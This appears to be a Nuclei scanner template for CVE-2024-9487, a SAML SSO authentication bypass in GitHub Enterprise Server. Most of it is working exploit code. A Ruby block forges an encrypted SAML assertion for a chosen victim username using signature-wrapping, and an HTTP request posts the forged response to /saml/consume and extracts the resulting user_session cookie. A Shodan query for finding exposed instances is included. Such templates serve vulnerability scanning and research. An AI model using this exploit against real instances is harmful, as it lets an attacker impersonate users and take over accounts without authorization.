id: CVE-2024-9487

info:
  name: GitHub Enterprise - SAML Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.
  reference:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
    epss-score: 0.3891
    epss-percentile: 0.97110
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
  tags: cve,cve2024,github,ghe,saml,auth-bypass,sso

code:
  - engine:
      - ruby

    source: |
      ## Variable Usage:
      # username - Victim Github Username/Email to impersonate.
      # SAMLResponse - SAML Response body.
      # metadata_url - IDP's Metadata URL.
      # RelayState - Relay state associated with the SAML Response body.

      require 'nokogiri'
      require 'openssl'
      require 'base64'
      require 'cgi'
      require 'open-uri'
      saml_response_xml = Base64.decode64(CGI.unescape(ENV['SAMLResponse']))
      saml_response = Nokogiri::XML(saml_response_xml)
      namespaces = {'ds' => 'http://www.w3.org/2000/09/xmldsig#','saml2' => 'urn:oasis:names:tc:SAML:2.0:assertion','saml2p' => 'urn:oasis:names:tc:SAML:2.0:protocol'}
      issuer = saml_response.xpath('//saml2:Issuer', namespaces).first.text

      metadata_idp_url = (ENV['metadata_url'])
      # URL to fetch the XML from
      url = "#{ENV['RootURL']}/saml/metadata"
      begin
        # Open the URL and read the XML
        xml_content = URI.open(url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read
        xml_content_idp = URI.open(metadata_idp_url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read
        # Parse the XML content with Nokogiri
        doc = Nokogiri::XML(xml_content)
        idp_doc = Nokogiri::XML(xml_content_idp)

        # Extract the ds:X509Certificate
        certificate = doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#')
        audience = doc.at_xpath('//md:EntityDescriptor/@entityID').value
        recipient = doc.at_xpath('//md:AssertionConsumerService/@Location').value
        idp_cert = idp_doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#')


        # Print the extracted certificate
        if certificate
          enc_cert = Base64.decode64("#{certificate.text.strip}")
        else
          puts "ds:X509Certificate not found in the XML."
        end

      rescue OpenURI::HTTPError => e
        puts "HTTP Error: #{e.message}"
      rescue => e
        puts "An error occurred: #{e.message}"
      end
      signed_assertion_xml = <<-XML
      <saml2:Assertion ID="id1423912998721389200353112" IssueInstant="2024-10-13T09:53:46.851Z" Version="2.0" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">issuer_replace</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#id1423912998721389200353112"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>2n9HGB3mHU+gxo8DJrIw0MwT/Gs7/agpmo+C1sb7mtU=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>OYOIw4wMFxm3OaG/n7YbQxcWKAFDmUjD33WIQJ3VgdsWdfV141v34AcV0tQ3A5dh9vWsM7/Kn3D0HETJzylJUaI4HhWWkNHrGpPX07Tjd0Yk7y9cD3+AzjIIsYlLGtpHFQ6jNAIzq4BumR+sb0ERQaG7IQqxgkCRY49YFtcJryxwjsgu/LD4gI7wOLdWh2cnZgReH5s9hXzyXaRoziUNdSv5McZx/T3VV76qGE2GZbQUGnBm9jwHjGriedi1PksKZxxcKdsumXk20i+fWEU8ueQJYm1mIHQa5bn2AVgE8D1grOYlhAOgjV8ByXZB0hC0Zkrgth9h1ij9rY9yBRxPVw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>cert_replace</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user_replace</saml2:NameID><saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml2:SubjectConfirmationData Recipient="recipient_replace"/></saml2:SubjectConfirmation></saml2:Subject><saml2:Conditions xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AudienceRestriction><saml2:Audience>audience_replace</saml2:Audience></saml2:AudienceRestriction></saml2:Conditions><saml2:AuthnStatement AuthnInstant="2024-10-13T09:27:23.840Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2:AuthnContext></saml2:AuthnStatement><saml2:AttributeStatement><saml2:Attribute Name="emails" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">user_replace</saml2:AttributeValue></saml2:Attribute></saml2:AttributeStatement></saml2:Assertion>
      XML

      signed_assertion_xml = signed_assertion_xml.gsub "cert_replace", idp_cert
      doc = Nokogiri::XML(signed_assertion_xml)

      signed_assertion_xml = doc.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)

      cert = enc_cert
      cert = OpenSSL::X509::Certificate.new(cert)
      public_key = cert.public_key

      # Encrypt the signed assertion node using AES and RSA for key wrapping
      def encrypt_assertion(assertion_node, rsa_public_key)
        # Create a random AES key for encrypting the data
        aes_key = OpenSSL::Cipher.new('AES-256-CBC').random_key

        # Encrypt the signed assertion (as an XML string)
        cipher = OpenSSL::Cipher.new('AES-256-CBC')
        cipher.encrypt
        cipher.key = aes_key

        encrypted_data = cipher.update(assertion_node) + cipher.final

        # Encrypt the AES key using the RSA public key
        encrypted_aes_key = rsa_public_key.public_encrypt(aes_key, 4)


        # Base64 encode both the encrypted data and the encrypted AES key
        encrypted_data_b64 = Base64.encode64(encrypted_data)
        encrypted_aes_key_b64 = Base64.encode64(encrypted_aes_key)
        encrypted_assertion_xml = <<-XML
            <saml:EncryptedAssertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
              <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
                <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes256-cbc"/>
                <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
                  <xenc:EncryptedKey>
                    <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/>
                    <xenc:CipherData>
                      <xenc:CipherValue>#{encrypted_aes_key_b64}</xenc:CipherValue>
                    </xenc:CipherData>
                  </xenc:EncryptedKey>
                </ds:KeyInfo>
                <xenc:CipherData>
                  <xenc:CipherValue>#{encrypted_data_b64}</xenc:CipherValue>
                </xenc:CipherData>
              </xenc:EncryptedData>
            </saml:EncryptedAssertion>
            XML

        Nokogiri::XML(encrypted_assertion_xml)
      end

      # Parse the signed assertion into Nokogiri XML document
      doc = Nokogiri::XML(signed_assertion_xml)
      assertion_node = doc.at('//saml2:Assertion', namespaces)
      assertion_node_str= assertion_node.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
      assertion_node_str = assertion_node_str.gsub! "user_replace", "#{ENV['username']}"
      assertion_node_str = assertion_node_str.gsub! "issuer_replace", issuer
      assertion_node_str = assertion_node_str.gsub! "recipient_replace", recipient
      assertion_node_str = assertion_node_str.gsub! "audience_replace", audience
      assertion_node_1 = Nokogiri::XML(assertion_node_str)
      assertion_node_dup = assertion_node_1.dup
      assertion_node_dup.at_xpath("//ds:Signature", namespaces).remove

      assertion_node_dup.xpath('//text()').each do |text_node|
        text_node.content = text_node.text.strip
      end

      canonical_xml = assertion_node_dup.canonicalize(
      Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0,
      [], # InclusiveNamespaces PrefixList
      false # WithComments
      )

      # Compute the SHA-256 Digest
      digest = OpenSSL::Digest::SHA256.digest(canonical_xml)
      digest_base64 = Base64.encode64(digest).strip
      assertion_node_1.at_xpath("//ds:DigestValue", namespaces).content = digest_base64
      final_assertion_node_str = assertion_node_1.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
      encrypted_assertion_node = encrypt_assertion("padinggggggggggg"+final_assertion_node_str, public_key)
      encrypted_assertion_node_str = encrypted_assertion_node.to_xml

      #create new saml doc

      saml_resp_node = saml_response.at('/saml2p:Response', namespaces)
      saml_resp_sign_node = saml_response.at('/saml2p:Response/ds:Signature', namespaces)
      saml_resp_sign_key_node = saml_response.at('/saml2p:Response/ds:Signature/ds:KeyInfo', namespaces)
      object_node = Nokogiri::XML::Node.new("Object", saml_resp_sign_node)
      object_node.namespace = saml_resp_sign_node.namespace
      object_node.add_child(saml_resp_node.dup)
      saml_resp_sign_key_node.add_next_sibling(object_node)
      encrypted_assertion_node = Nokogiri::XML(encrypted_assertion_node_str)
      encrypted_assertion_node1 = encrypted_assertion_node.at_xpath('//saml2:EncryptedAssertion', namespaces )
      saml_response.at_xpath('/saml2p:Response/saml2:EncryptedAssertion', namespaces).replace(encrypted_assertion_node1)
      saml_resp_node['ID'] = saml_resp_node['ID'][0..-3]+"ae"
      puts CGI.escape(Base64.strict_encode64(saml_response.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)))

http:
  - raw:
      - |
        POST /saml/consume HTTP/1.1
        Host: {{Hostname}}
        Cookie: saml_csrf_token={{RelayState}}; saml_csrf_token_legacy={{RelayState}};
        Content-Type: application/x-www-form-urlencoded

        RelayState={{RelayState}}&SAMLResponse={{code_response}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header,"dotcom_user")'
          - 'status_code == 302'
        condition: and

    extractors:
      - type: kval
        kval:
          - user_session
# digest: 4a0a00473045022011426fc5ebeb8774da55b3e13ea70980635eae1dfcdc9265862c83ccee5dd32c022100a3811bfcc159dbc91424ddb31e76806b5b1a64acd73aa014e5f2306f058cb32f:922c64590222798bb761d5b6d8e72950